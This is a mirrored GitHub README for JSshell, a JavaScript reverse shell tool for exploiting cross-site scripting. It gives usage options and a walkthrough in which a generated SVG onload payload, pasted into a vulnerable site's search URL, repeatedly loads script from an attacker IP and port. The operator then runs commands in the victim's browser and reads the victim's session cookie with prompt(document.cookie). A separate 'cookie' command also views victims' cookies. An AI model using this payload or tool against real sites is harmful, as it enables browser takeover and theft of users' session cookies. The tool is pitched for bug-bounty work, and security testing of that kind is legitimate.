GithubHelp home page GithubHelp logo

5l1v3r1 / jsshell-1 Goto Github PK

View Code? Open in Web Editor NEW

This project forked from shelld3v/jsshell

0.0 1.0 0.0 88 KB

JSshell - A JavaScript reverse shell for exploiting XSS remotely or finding blind XSS, working with both Unix and Windows OS

Python 100.00%

jsshell-1's Introduction

JSshell (version 2.9)

JSshell - a JavaScript reverse shell. This using for exploit XSS remotely, help to find blind XSS, ...

This tool works for both Unix and Windows operating system and it can running with both Python 2 and Python 3. This is a big update of JShell - a tool to get a JavaScript shell with XSS by s0med3v. JSshell also doesn't require Netcat (different from other javascript shells).

New in JSshell version 2.9

Updated in the new version of JShell 2.9:

  • New JSshell command: cookie -> allows to view the cookies of the current user who established the shell
  • Support javascript function:
js-2.9$ function new() {
>         new = 'New update: Support javascript function';
>         confirm(new);
>         }
js-2.9$ 
js-2.9$ new()
  • Fixed some bugs

Usage

Generate JS reverse shell payload: -g

Set the local port number for listening and generating payload (By default, it will be set to 4848): -p

Set the local source address for generating payload (JSshell will detect your IP address by deault): -s

Set timeout for shell connection (if the user exit page, the shell will be pause, and if your set the timeout, after a while without response, the shell will automatically close): -w

Execute a command when got the shell: -c

Example usages:

  • js.py
  • js.py -g
  • js.py -p 1234
  • js.py -s 48.586.1.23 -g
  • js.py -c "alert(document.cookie)" -w 10

An example for running JSshell:

This is an example for step-by-step to exploit remote XSS using JSshell.

First we will generate a reverse JS shell payload and set the shell timeout is 20 seconds:

~# whoami
root
~# ls
README.md   js.py
~# python3 js.py -g -w 20
    __
  |(_  _ |_  _  |  |
\_|__)_> | |(/_ |  |
                      v1.0

Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>

Listening on [any] 4848 for incoming JS shell ...

Now paste this payload to the website (or URL) that vulnerable to XSS:

https://vulnwebs1te.com/b/search?q=<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},1248)>

Access the page and now we will see that we have got the reverse JS shell:

    __
  |(_  _ |_  _  |  |
\_|__)_> | |(/_ |  |
                      v1.0

Payload:
<svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//171.224.181.106:4848"},999)>

Listening on [any] 4848 for incoming JS shell ...
Got JS shell from [75.433.24.128] port 39154 to DESKTOP-1GSL2O2 4848
$ established
$ the
$ shell
$
$
$ help
JSshell using javascript code as shell commands. Also supports some commands:
help                  This help
exit, quit            Exit the JS shell
$

Now let's execute some commands:

$ var test = 'hacked'
$ alert(test)
$

And the browser got an alert: hacked

$ prompt(document.cookie)
$

And the browser print the user cookies: JSESSION=3bda8...

$ exit
~# whoami
root
~# pwd
/home/shelld3v
~#

And we quited!

Author

This created by shelld3v, hacking at HackerOne and Bugcrowd! This tool is inspired by the BruteLogic payload.

jsshell-1's People

Contributors

shelld3v avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.